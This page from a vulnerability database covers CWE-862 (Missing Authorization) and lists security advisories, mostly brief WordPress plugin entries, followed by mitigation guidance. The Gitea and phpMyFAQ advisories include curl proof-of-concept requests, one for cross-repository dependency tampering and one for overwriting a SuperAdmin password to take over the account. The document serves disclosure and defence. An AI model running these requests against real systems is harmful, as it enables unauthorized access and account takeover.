CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
14807 vulnerabilities reference this CWE, most recent first.
GHSA-XV7R-59FX-748W
Vulnerability from github – Published: 2025-10-27 03:30 – Updated: 2026-01-20 15:31Missing Authorization vulnerability in KingAddons.com King Addons for Elementor king-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects King Addons for Elementor: from n/a through <= 51.1.37.
{
"affected": [],
"aliases": [
"CVE-2025-62889"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-27T02:15:47Z",
"severity": "HIGH"
},
"details": "Missing Authorization vulnerability in KingAddons.com King Addons for Elementor king-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects King Addons for Elementor: from n/a through \u003c= 51.1.37.",
"id": "GHSA-xv7r-59fx-748w",
"modified": "2026-01-20T15:31:35Z",
"published": "2025-10-27T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62889"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/king-addons/vulnerability/wordpress-king-addons-for-elementor-plugin-51-1-37-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV9G-HFXF-CG8G
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-23 15:33Missing Authorization vulnerability in Themewinter WPCafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through 2.2.22.
{
"affected": [],
"aliases": [
"CVE-2023-47805"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T13:15:30Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Themewinter WPCafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through 2.2.22.",
"id": "GHSA-xv9g-hfxf-cg8g",
"modified": "2026-04-23T15:33:35Z",
"published": "2024-12-09T15:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47805"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-cafe/vulnerability/wordpress-wpcafe-plugin-2-2-19-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XV9X-FJ9G-VJ6H
Vulnerability from github – Published: 2026-07-21 20:36 – Updated: 2026-07-21 20:36Details
RemoveDependency in routers/web/repo/issue_dependency.go takes a removeDependencyID form parameter identifying the other issue by its global numeric ID, and fetches it with issues_model.GetIssueByID(ctx, depID) - no repository or permission check at all. It then calls issues_model.RemoveIssueDependency(ctx, ctx.Doer, issue, dep, depType) (models/issues/dependency.go), which deletes the dependency join row and then writes a comment referencing the removal, attributed to the calling user, onto the dependency record.
The sibling function in the very same file, AddDependency, does this correctly when the two issues are in different repos (which ALLOW_CROSS_REPOSITORY_DEPENDENCIES, on by default, permits):
if issue.RepoID != dep.RepoID {
if !setting.Service.AllowCrossRepositoryDependencies { ... }
depRepoPerm, err := access_model.GetDoerRepoPermission(ctx, dep.Repo, ctx.Doer)
if !depRepoPerm.CanReadIssuesOrPulls(dep.IsPull) {
return // you can't see this dependency
}
}
RemoveDependency has no equivalent block at all - it goes straight from resolving dep by ID to deleting the link, regardless of which repo dep lives in or whether the caller can see it. I confirmed this same code is present in the current latest release, v1.26.4.
PoC
Prerequisites: an account with write access to issues on some repo ownerA/repoA, and the global numeric issue ID of an issue in a private repo repoB that is (or was) legitimately dependency-linked to one of the attacker's issues in repoA (cross-repo dependencies are commonly used between related public/private repos, and ALLOW_CROSS_REPOSITORY_DEPENDENCIES defaults to enabled).
curl -s -b "gitea_session=$ATTACKER_SESSION_COOKIE" -X POST \
--data-urlencode "removeDependencyID=<repoB_issue_global_id>" \
--data-urlencode "dependencyType=blockedBy" \
"https://TARGET_HOST/ownerA/repoA/issues/N/dependency/delete"
# Expected: the dependency link is deleted and a "removed dependency" comment
# authored by the attacker is added to the repoB issue, even though the
# attacker has no read access to repoB.
Impact
This is a cross-repository IDOR / broken access control issue. An attacker can tamper with issue-tracking state (dependency relationships) and inject an attacker-authored comment into a private repository they cannot otherwise read or write to, crossing a trust boundary the "add" path explicitly enforces. Impact is bounded - it requires an existing dependency link and discloses no repository content - but it is a genuine unauthorized-write primitive across a private-repo boundary.
Fix
Add the same cross-repo permission check used in AddDependency (access_model.GetDoerRepoPermission(ctx, dep.Repo, ctx.Doer).CanReadIssuesOrPulls(dep.IsPull)) to RemoveDependency before allowing the deletion to proceed when issue.RepoID != dep.RepoID.
If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gitea.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58438"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:36:59Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Details\n`RemoveDependency` in `routers/web/repo/issue_dependency.go` takes a `removeDependencyID` form parameter identifying the other issue by its global numeric ID, and fetches it with `issues_model.GetIssueByID(ctx, depID)` - no repository or permission check at all. It then calls `issues_model.RemoveIssueDependency(ctx, ctx.Doer, issue, dep, depType)` (`models/issues/dependency.go`), which deletes the dependency join row and then writes a comment referencing the removal, attributed to the calling user, onto the dependency record.\n\nThe sibling function in the very same file, `AddDependency`, does this correctly when the two issues are in different repos (which `ALLOW_CROSS_REPOSITORY_DEPENDENCIES`, on by default, permits):\n\n```go\nif issue.RepoID != dep.RepoID {\n if !setting.Service.AllowCrossRepositoryDependencies { ... }\n depRepoPerm, err := access_model.GetDoerRepoPermission(ctx, dep.Repo, ctx.Doer)\n if !depRepoPerm.CanReadIssuesOrPulls(dep.IsPull) {\n return // you can\u0027t see this dependency\n }\n}\n```\n\n`RemoveDependency` has no equivalent block at all - it goes straight from resolving `dep` by ID to deleting the link, regardless of which repo `dep` lives in or whether the caller can see it. I confirmed this same code is present in the current latest release, v1.26.4.\n\n### PoC\nPrerequisites: an account with write access to issues on some repo `ownerA/repoA`, and the global numeric issue ID of an issue in a private repo `repoB` that is (or was) legitimately dependency-linked to one of the attacker\u0027s issues in `repoA` (cross-repo dependencies are commonly used between related public/private repos, and `ALLOW_CROSS_REPOSITORY_DEPENDENCIES` defaults to enabled).\n\n```bash\ncurl -s -b \"gitea_session=$ATTACKER_SESSION_COOKIE\" -X POST \\\n --data-urlencode \"removeDependencyID=\u003crepoB_issue_global_id\u003e\" \\\n --data-urlencode \"dependencyType=blockedBy\" \\\n \"https://TARGET_HOST/ownerA/repoA/issues/N/dependency/delete\"\n# Expected: the dependency link is deleted and a \"removed dependency\" comment\n# authored by the attacker is added to the repoB issue, even though the\n# attacker has no read access to repoB.\n```\n\n### Impact\nThis is a cross-repository IDOR / broken access control issue. An attacker can tamper with issue-tracking state (dependency relationships) and inject an attacker-authored comment into a private repository they cannot otherwise read or write to, crossing a trust boundary the \"add\" path explicitly enforces. Impact is bounded - it requires an existing dependency link and discloses no repository content - but it is a genuine unauthorized-write primitive across a private-repo boundary.\n\n### Fix\nAdd the same cross-repo permission check used in `AddDependency` (`access_model.GetDoerRepoPermission(ctx, dep.Repo, ctx.Doer).CanReadIssuesOrPulls(dep.IsPull)`) to `RemoveDependency` before allowing the deletion to proceed when `issue.RepoID != dep.RepoID`.\n\n**If possible, please apply for a CVE number when publishing. I would greatly appreciate it.**",
"id": "GHSA-xv9x-fj9g-vj6h",
"modified": "2026-07-21T20:36:59Z",
"published": "2026-07-21T20:36:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xv9x-fj9g-vj6h"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: Cross-repository IDOR in issue-dependency removal lets an attacker tamper with and comment on private repos they cannot access"
}
GHSA-XV9X-Q8HF-FRGH
Vulnerability from github – Published: 2024-11-09 06:30 – Updated: 2024-11-09 06:30The Top Store theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the top_store_install_and_activate_callback() function in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins which can contain other exploitable vulnerabilities to elevate privileges and gain remote code execution.
{
"affected": [],
"aliases": [
"CVE-2024-10673"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-09T04:15:04Z",
"severity": "HIGH"
},
"details": "The Top Store theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the top_store_install_and_activate_callback() function in all versions up to, and including, 1.5.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins which can contain other exploitable vulnerabilities to elevate privileges and gain remote code execution.",
"id": "GHSA-xv9x-q8hf-frgh",
"modified": "2024-11-09T06:30:24Z",
"published": "2024-11-09T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10673"
},
{
"type": "WEB",
"url": "https://themes.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=247826%40top-store\u0026new=247826%40top-store\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/80510ade-cb58-45b3-89f2-2cbbc5640cae?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XVFH-9HMQ-G2VH
Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35Missing Authorization vulnerability in De paragon No Spam At All allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects No Spam At All: from n/a through 1.3.
{
"affected": [],
"aliases": [
"CVE-2025-24778"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T13:15:26Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in De paragon No Spam At All allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects No Spam At All: from n/a through 1.3.",
"id": "GHSA-xvfh-9hmq-g2vh",
"modified": "2026-04-01T18:35:17Z",
"published": "2025-06-06T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24778"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/no-spam-at-all/vulnerability/wordpress-no-spam-at-all-1-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XVG6-W59C-3823
Vulnerability from github – Published: 2024-06-09 12:30 – Updated: 2024-06-09 12:30Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual & Multicurrency.This issue affects WooCommerce Multilingual & Multicurrency: from n/a through 5.3.4.
{
"affected": [],
"aliases": [
"CVE-2024-30466"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T11:15:50Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in OnTheGoSystems WooCommerce Multilingual \u0026 Multicurrency.This issue affects WooCommerce Multilingual \u0026 Multicurrency: from n/a through 5.3.4.",
"id": "GHSA-xvg6-w59c-3823",
"modified": "2024-06-09T12:30:51Z",
"published": "2024-06-09T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30466"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/woocommerce-multilingual/wordpress-woocommerce-multilingual-multicurrency-plugin-5-3-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XVGX-9RPH-3PJ6
Vulnerability from github – Published: 2026-07-20 12:33 – Updated: 2026-07-20 12:33Network-AI (npm: network-ai) versions 5.12.2 through 5.13.3 fail to apply the configured authorization check (checkAuth/secret) to the ApprovalInbox GET read routes, so even when an operator configures a secret, unauthenticated actors can access sensitive approval request details. The GET /approvals/?status=all, GET /approvals/:id, GET /approvals/stats, and GET /approvals/sse routes disclose full ApprovalEntry content including action/target shell-command strings, file paths, justifications, and risk levels. All responses also carry a hardcoded Access-Control-Allow-Origin: * header, enabling cross-origin disclosure from any website the operator visits. This is an incomplete fix for GHSA-mxjx-28vx-xjjj.
{
"affected": [],
"aliases": [
"CVE-2026-64622"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T12:19:47Z",
"severity": "CRITICAL"
},
"details": "Network-AI (npm: network-ai) versions 5.12.2 through 5.13.3 fail to apply the configured authorization check (checkAuth/secret) to the ApprovalInbox GET read routes, so even when an operator configures a secret, unauthenticated actors can access sensitive approval request details. The GET /approvals/?status=all, GET /approvals/:id, GET /approvals/stats, and GET /approvals/sse routes disclose full ApprovalEntry content including action/target shell-command strings, file paths, justifications, and risk levels. All responses also carry a hardcoded Access-Control-Allow-Origin: * header, enabling cross-origin disclosure from any website the operator visits. This is an incomplete fix for GHSA-mxjx-28vx-xjjj.",
"id": "GHSA-xvgx-9rph-3pj6",
"modified": "2026-07-20T12:33:11Z",
"published": "2026-07-20T12:33:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-m4jg-6w3q-gm86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64622"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/network-ai-through-missing-authorization-via-approvalinbox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XVMJ-4X57-G9GG
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Missing Authorization vulnerability in etruel WPeMatico RSS Feed Fetcher wpematico allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPeMatico RSS Feed Fetcher: from n/a through <= 2.8.3.
{
"affected": [],
"aliases": [
"CVE-2025-49922"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:38Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in etruel WPeMatico RSS Feed Fetcher wpematico allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPeMatico RSS Feed Fetcher: from n/a through \u003c= 2.8.3.",
"id": "GHSA-xvmj-4x57-g9gg",
"modified": "2026-01-20T15:31:23Z",
"published": "2025-10-22T15:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49922"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wpematico/vulnerability/wordpress-wpematico-rss-feed-fetcher-plugin-2-8-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XVMV-4RX6-X6JX
Vulnerability from github – Published: 2023-11-16 20:13 – Updated: 2023-11-17 22:04Access to two URLs used in both Rundeck Open Source and Process Automation products could allow authenticated users to access the URL path, which provides a list of job names and groups for any project, without the necessary authorization checks.
The affected URLs are:
- http[s]://[host]/context/rdJob/*
- http[s]://[host]/context/api/*/incubator/jobs
The output of these endpoints only exposes the name of job groups and the jobs contained within the specified project. The output is read-only and the access does not allow changes to the information.
Impact
Rundeck, Process Automation version 4.17.0 up to 4.17.2
Patches
Patched versions: 4.17.3
Workarounds
Access to two URLs used in either Rundeck Open Source or Process Automation products could be blocked at a load balancer level.
- http[s]://host/context/rdJob/*
- http[s]://host/context/api/*/incubator/jobs
For more information
If you have any questions or comments about this advisory: * Open an issue in our forums * Enterprise Customers can open a Support ticket
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.rundeck:rundeckapp"
},
"ranges": [
{
"events": [
{
"introduced": "4.17.0"
},
{
"fixed": "4.17.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-47112"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-16T20:13:06Z",
"nvd_published_at": "2023-11-16T22:15:28Z",
"severity": "MODERATE"
},
"details": "Access to two URLs used in both Rundeck Open Source and Process Automation products could allow authenticated users to access the URL path, which provides a list of job names and groups for any project, without the necessary authorization checks.\n\nThe affected URLs are:\n- `http[s]://[host]/context/rdJob/*` \n- `http[s]://[host]/context/api/*/incubator/jobs`\n\nThe output of these endpoints only exposes the name of job groups and the jobs contained within the specified project. The output is read-only and the access does not allow changes to the information.\n\n### Impact\n\nRundeck, Process Automation version 4.17.0 up to 4.17.2\n\n### Patches\n\nPatched versions: 4.17.3\n\n### Workarounds\n\nAccess to two URLs used in either Rundeck Open Source or Process Automation products could be blocked at a load balancer level.\n- `http[s]://host/context/rdJob/*` \n- `http[s]://host/context/api/*/incubator/jobs`\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our forums](https://community.pagerduty.com/forum/c/process-automation)\n* Enterprise Customers can open a [Support ticket](https://support.rundeck.com)\n\n",
"id": "GHSA-xvmv-4rx6-x6jx",
"modified": "2023-11-17T22:04:11Z",
"published": "2023-11-16T20:13:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rundeck/rundeck/security/advisories/GHSA-xvmv-4rx6-x6jx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47112"
},
{
"type": "WEB",
"url": "https://github.com/rundeck/rundeck/commit/8992879036a1ddacfca78559d823be0424796e7e"
},
{
"type": "PACKAGE",
"url": "https://github.com/rundeck/rundeck"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authenticated users can view job names and groups they do not have authorization to view"
}
GHSA-XVP4-PHQJ-CJR3
Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19Summary
An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:
[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
$this->userHasUserPermission(); // Only checks if user has USER_EDIT permission
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled!
$csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
$newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
$retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
}
// NO check that $userId belongs to a user the admin should manage
// NO check that target user has lower or equal privileges
// Can overwrite password for ANY user, including SuperAdmin (userId=1)
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
$authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
if (hash_equals($newPassword, $retypedPassword)) {
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
}
$this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
return $this->json(['success' => ...], Response::HTTP_OK);
}
}
Root Causes:
- No verification that the requesting admin has permission to modify the target user's password
- No check that the target user has equal or lower privilege level
- The userId is taken directly from the request body without authorization context
- No multi-factor confirmation for privilege-escalating password changes
PoC
Prerequisites: Authenticated admin session with USER_EDIT permission
Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).
Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
Step 3 - Change SuperAdmin Password:
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=admin_session" \
-d '{
"userId": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}' \
http://target/admin/api/user/overwrite-password
Response: {"success":"The password was successfully changed."}
Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.
Who is Impacted:
- Organizations with multiple admin users where not all should have SuperAdmin access
- Any phpMyFAQ instance where privilege separation is configured
- Multi-tenant environments where users should only manage their own accounts
Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission
Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35671"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:46:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n $this-\u003euserHasUserPermission(); // Only checks if user has USER_EDIT permission\n $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n $data = json_decode($request-\u003egetContent());\n $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT); // User-controlled!\n $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n }\n // NO check that $userId belongs to a user the admin should manage\n // NO check that target user has lower or equal privileges\n // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n if (hash_equals($newPassword, $retypedPassword)) {\n if (!$currentUser-\u003echangePassword($newPassword)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n }\n $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -b \"PHPSESSID=admin_session\" \\\n -d \u0027{\n \"userId\": 1,\n \"csrf\": \"admin_csrf_token_value\",\n \"newPassword\": \"NewSuperAdminP@ss123!\",\n \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n }\u0027 \\\n http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
"id": "GHSA-xvp4-phqj-cjr3",
"modified": "2026-05-28T14:19:40Z",
"published": "2026-05-20T15:46:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: IDOR Account Takeover "
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
